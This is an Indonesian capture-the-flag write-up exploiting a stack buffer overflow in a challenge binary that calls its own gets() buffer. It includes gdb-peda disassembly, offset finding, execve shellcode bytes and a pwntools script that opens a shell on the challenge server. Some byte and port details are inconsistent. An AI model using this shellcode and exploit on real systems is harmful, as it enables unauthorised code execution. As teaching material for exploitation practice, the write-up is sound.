Diberikan sebuah alamat server agar bisa menginputkan lokasi, diberikan juga sebuah ELF yang bisa dijalankan secara offline
nc 103.157.96.13 9999
jika dilihat dari source yang diberikan, kita bisa simpulkan jika vulnerability nya berada pada pada bagian gets(target);
kemudian dengan melakukan buffer overflow
dan meng-overwrite ((void(*)())target)();
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Coba ketik lokasi anda sekarang : \n");
char target[256];
gets(target);
printf("Wah keren, mimin tinggal di Samarinda dong :D\n");
((void(*)())target)();
return 0;
}
untuk meng-overwrite ((void(*)())target)();
dibutuhkan sekitar 256
untuk mengisi penuh buffer target
, kemdian ditambah 16 bit
atau 8
byte untuk bisa meng-overwrite $rsp
, lebih jelasnya bisa kita lihat hasil disassamble nya
gdb-peda$ pd main
Dump of assembler code for function main:
0x0000000000401162 <+0>: push rbp
0x0000000000401163 <+1>: mov rbp,rsp
0x0000000000401166 <+4>: sub rsp,0x110
0x000000000040116d <+11>: mov rax,QWORD PTR [rip+0x2eec]
0x0000000000401174 <+18>: mov ecx,0x0
0x0000000000401179 <+23>: mov edx,0x2
0x000000000040117e <+28>: mov esi,0x0
0x0000000000401183 <+33>: mov rdi,rax
0x0000000000401186 <+36>: call 0x401070 <setvbuf@plt>
0x000000000040118b <+41>: mov rax,QWORD PTR [rip+0x2ede]
0x0000000000401192 <+48>: mov ecx,0x0
0x0000000000401197 <+53>: mov edx,0x2
0x000000000040119c <+58>: mov esi,0x0
0x00000000004011a1 <+63>: mov rdi,rax
0x00000000004011a4 <+66>: call 0x401070 <setvbuf@plt>
0x00000000004011a9 <+71>: mov rax,QWORD PTR [rip+0x2ed0]
0x00000000004011b0 <+78>: mov ecx,0x0
0x00000000004011b5 <+83>: mov edx,0x2
0x00000000004011ba <+88>: mov esi,0x0
0x00000000004011bf <+93>: mov rdi,rax
0x00000000004011c2 <+96>: call 0x401070 <setvbuf@plt>
0x00000000004011c7 <+101>: call 0x401060 <getegid@plt>
0x00000000004011cc <+106>: mov DWORD PTR [rbp-0x4],eax
0x00000000004011cf <+109>: mov edx,DWORD PTR [rbp-0x4]
0x00000000004011d2 <+112>: mov ecx,DWORD PTR [rbp-0x4]
0x00000000004011d5 <+115>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004011d8 <+118>: mov esi,ecx
0x00000000004011da <+120>: mov edi,eax
0x00000000004011dc <+122>: mov eax,0x0
0x00000000004011e1 <+127>: call 0x401040 <setresgid@plt>
0x00000000004011e6 <+132>: lea rdi,[rip+0xe1b] # 0x402008
0x00000000004011ed <+139>: call 0x401030 <puts@plt>
0x00000000004011f2 <+144>: lea rax,[rbp-0x110]
0x00000000004011f9 <+151>: mov rdi,rax
0x00000000004011fc <+154>: mov eax,0x0
0x0000000000401201 <+159>: call 0x401050 <gets@plt>
0x0000000000401206 <+164>: lea rdi,[rip+0xe23] # 0x402030
0x000000000040120d <+171>: call 0x401030 <puts@plt>
0x0000000000401212 <+176>: lea rdx,[rbp-0x110]
0x0000000000401219 <+183>: mov eax,0x0
0x000000000040121e <+188>: call rdx
0x0000000000401220 <+190>: mov eax,0x0
0x0000000000401225 <+195>: leave
0x0000000000401226 <+196>: ret
End of assembler dump.
gdb-peda$
berdasarkan hasil disassamble seharusnya akan terkena buffer overflow
kalo input lebih dari sub rsp,0x110
atau sama dengan 272
kalo dalam desimal, ini sama seperti analisa sebelumnya buffer target
berjumlah 256+16=272
sama dengan rsp, 0x110
Atau bisa menggunakan GDB Peda untuk mendapatkan jumlah buffernya, dengan memanfaatkan pattern create
dan pattern search
.
gdb-peda$ pattern create 0x110
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A'
gdb-peda$ r
setelah dijalankan dengan menggunakan data hasil dari pattern create
, bisa mencari jumlah buffer
dengan menggunakan pattern search
gdb-peda$ pattern search
No register contains pattern buffer
No register points to pattern buffer
Pattern buffer found at:
0x00007fffffffdcb1 : offset 0 - size 272 ($sp + 0x1 [0 dwords])
References to pattern buffer found at:
0x00007fffffffdc28 : 0x00007fffffffdcb1 ($sp + -0x88 [-34 dwords])
gdb-peda$
bisa dilihat pada bagian 0x00007fffffffdcb1 : offset 0 - size 272 ($sp + 0x1 [0 dwords])
, jika pattern search
menemukan jumlah buffer
nya sebesar 272
, berdasarkan potongan disassamble berikut
0x401201 <main+159>: call 0x401050 <gets@plt>
0x401206 <main+164>: lea rdi,[rip+0xe23] # 0x402030
0x40120d <main+171>: call 0x401030 <puts@plt>
=> 0x401212 <main+176>: lea rdx,[rbp-0x110]
0x401219 <main+183>: mov eax,0x0
0x40121e <main+188>: call rdx
0x401220 <main+190>: mov eax,0x0
0x401225 <main+195>: leave
pada 0x40121e <main+188>: call rdx
nilai rdx
nantinya akan dipanggil sebagai sebuah fungsi yang bersumber dari inputan, jadi harus nyari shellcode
yang nantinya dipanggil melalui rdx
, untuk mengujinya bisa pake perintah NOP
atau NOPSLED
dalam hexa 0x90
, perintah NOP
tidak mengeksekusi apa-apa hanya untuk memastikan kalo nilai rdx
nantinya memanggil NOP
atau 0x90
gdb-peda$ b *main+176
Breakpoint 1 at 0x401212
gdb-peda$ r <<< `python2 -c "print '\x90' * 8 + 'A' * (0x110 - 8) + '\xb0\xdc\xff\xff\xff\x7f'"`
maksudnya memberi inputan 8 NOP + (110-8) A
di alamat 0x7fffffffdcb0
alamat 0x7fffffffdcb0
merupakan 8 byte
blok pertama dari stack
, jadinya nantinya rdx
akan memanggil alamat 0x7fffffffdcb0
yang isinya NOP
0x401201 <main+159>: call 0x401050 <gets@plt>
0x401206 <main+164>: lea rdi,[rip+0xe23] # 0x402030
0x40120d <main+171>: call 0x401030 <puts@plt>
=> 0x401212 <main+176>: lea rdx,[rbp-0x110]
0x401219 <main+183>: mov eax,0x0
0x40121e <main+188>: call rdx
0x401220 <main+190>: mov eax,0x0
0x401225 <main+195>: leave
setelah mengisi input
, nilai rdx
akan diambil dari [rbp-0x110]
kalo dicek nilainya
gdb-peda$ x/x $rbp-0x110
0x7fffffffdcb0: 0x90
gdb-peda$ x/i $rbp-0x110
0x7fffffffdcb0: nop
gdb-peda$
setelah dilanjutkan beberapa instruksi
0x40120d <main+171>: call 0x401030 <puts@plt>
0x401212 <main+176>: lea rdx,[rbp-0x110]
0x401219 <main+183>: mov eax,0x0
=> 0x40121e <main+188>: call rdx
0x401220 <main+190>: mov eax,0x0
0x401225 <main+195>: leave
0x401226 <main+196>: ret
0x401227: nop WORD PTR [rax+rax*1+0x0]
No argument
Nilai 0x40121e <main+188>: call rdx
akan memanggil 0x7fffffffdcb0
, untuk membuktinya bisa pake perintah x/8i
artinya lihat 8
Intruksi berikutnya
gdb-peda$ x/8i $rdx
0x7fffffffdcb0: nop
0x7fffffffdcb1: nop
0x7fffffffdcb2: nop
0x7fffffffdcb3: nop
0x7fffffffdcb4: nop
0x7fffffffdcb5: nop
0x7fffffffdcb6: nop
0x7fffffffdcb7: nop
gdb-peda$
Tinggal nyari Shellcode linux 64 Bit yang ukuranya kecil untuk ngedapatin interaktive shell nya, saya menggunakan sheel dari http://shell-storm.org/shellcode/files/shellcode-806.php dan membuat exploitnya
import struct
repl = 0x7fffffffdcb0
repl_byte = struct.pack("<Q", repl)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
fuzz = shellcode + 'A' * (0x110 - len(shellcode)) + repl_byte
print fuzz
sebelum mencoba diremote server, dicoba dulu di local, untuk memastikan exploit bisa berjalan dan sesuai dengan keinginan.
gdb-peda$ x/13i $rdx
0x7fffffffdcb0: xor eax,eax
0x7fffffffdcb2: movabs rbx,0xff978cd091969dd1
0x7fffffffdcbc: neg rbx
0x7fffffffdcbf: push rbx
0x7fffffffdcc0: push rsp
0x7fffffffdcc1: pop rdi
0x7fffffffdcc2: cdq
0x7fffffffdcc3: push rdx
0x7fffffffdcc4: push rdi
0x7fffffffdcc5: push rsp
0x7fffffffdcc6: pop rsi
0x7fffffffdcc7: mov al,0x3b
0x7fffffffdcc9: syscall
gdb-peda$ c
Continuing.
process 14226 is executing new program: /usr/bin/dash
kalo di banding kan dengan http://shell-storm.org/shellcode/files/shellcode-806.php 13 intruksi
akan sama persis, dan lagi ketika proses di lanjutkan gdb
mendeteksi ada proses baru yang memanggil program /usr/bin/dash
artinya shellcode
berhasil. tetapi proses tidak berhasil jika dijalankan diluar gdb
, untuk itu harus try and error untuk nyari alamat yang pas sebagai pengganti alamat 0x7fffffffdcb0
from pwn import *
import struct
repl = 0xf7edd900
repl_byte = struct.pack("<Q", repl)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
fuzz = shellcode + 'A' * (0x110 - len(shellcode)) + repl_byte
#conn = remote('103.157.96.13',9991)
conn = process('./chal4')
conn.sendline(fuzz)
conn.interactive()
hasilnya jika dijalanka di local
$ python2 solve.py
[+] Starting local process './chal4': pid 14416
[*] Switching to interactive mode
Coba ketik lokasi anda sekarang :
Wah keren, mimin tinggal di Samarinda dong :D
$ id
uid=1000(kulikode) gid=1000(kulikode) groups=1000(kulikode),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),142(kaboxer)
dilihat dari hasilnya, shell bisa dijalankan, artinya exploit seharusnya bisa berjalan juga di remote server.
python2 solve.py
[+] Opening connection to 103.157.96.13 on port 9991: Done
[*] Switching to interactive mode
Coba ketik lokasi anda sekarang :
Wah keren, mimin tinggal di Samarinda dong :D
$ cat flag
CTFR{f1r5t_t1m3_d3pl0y_5h3ll_c0d3???}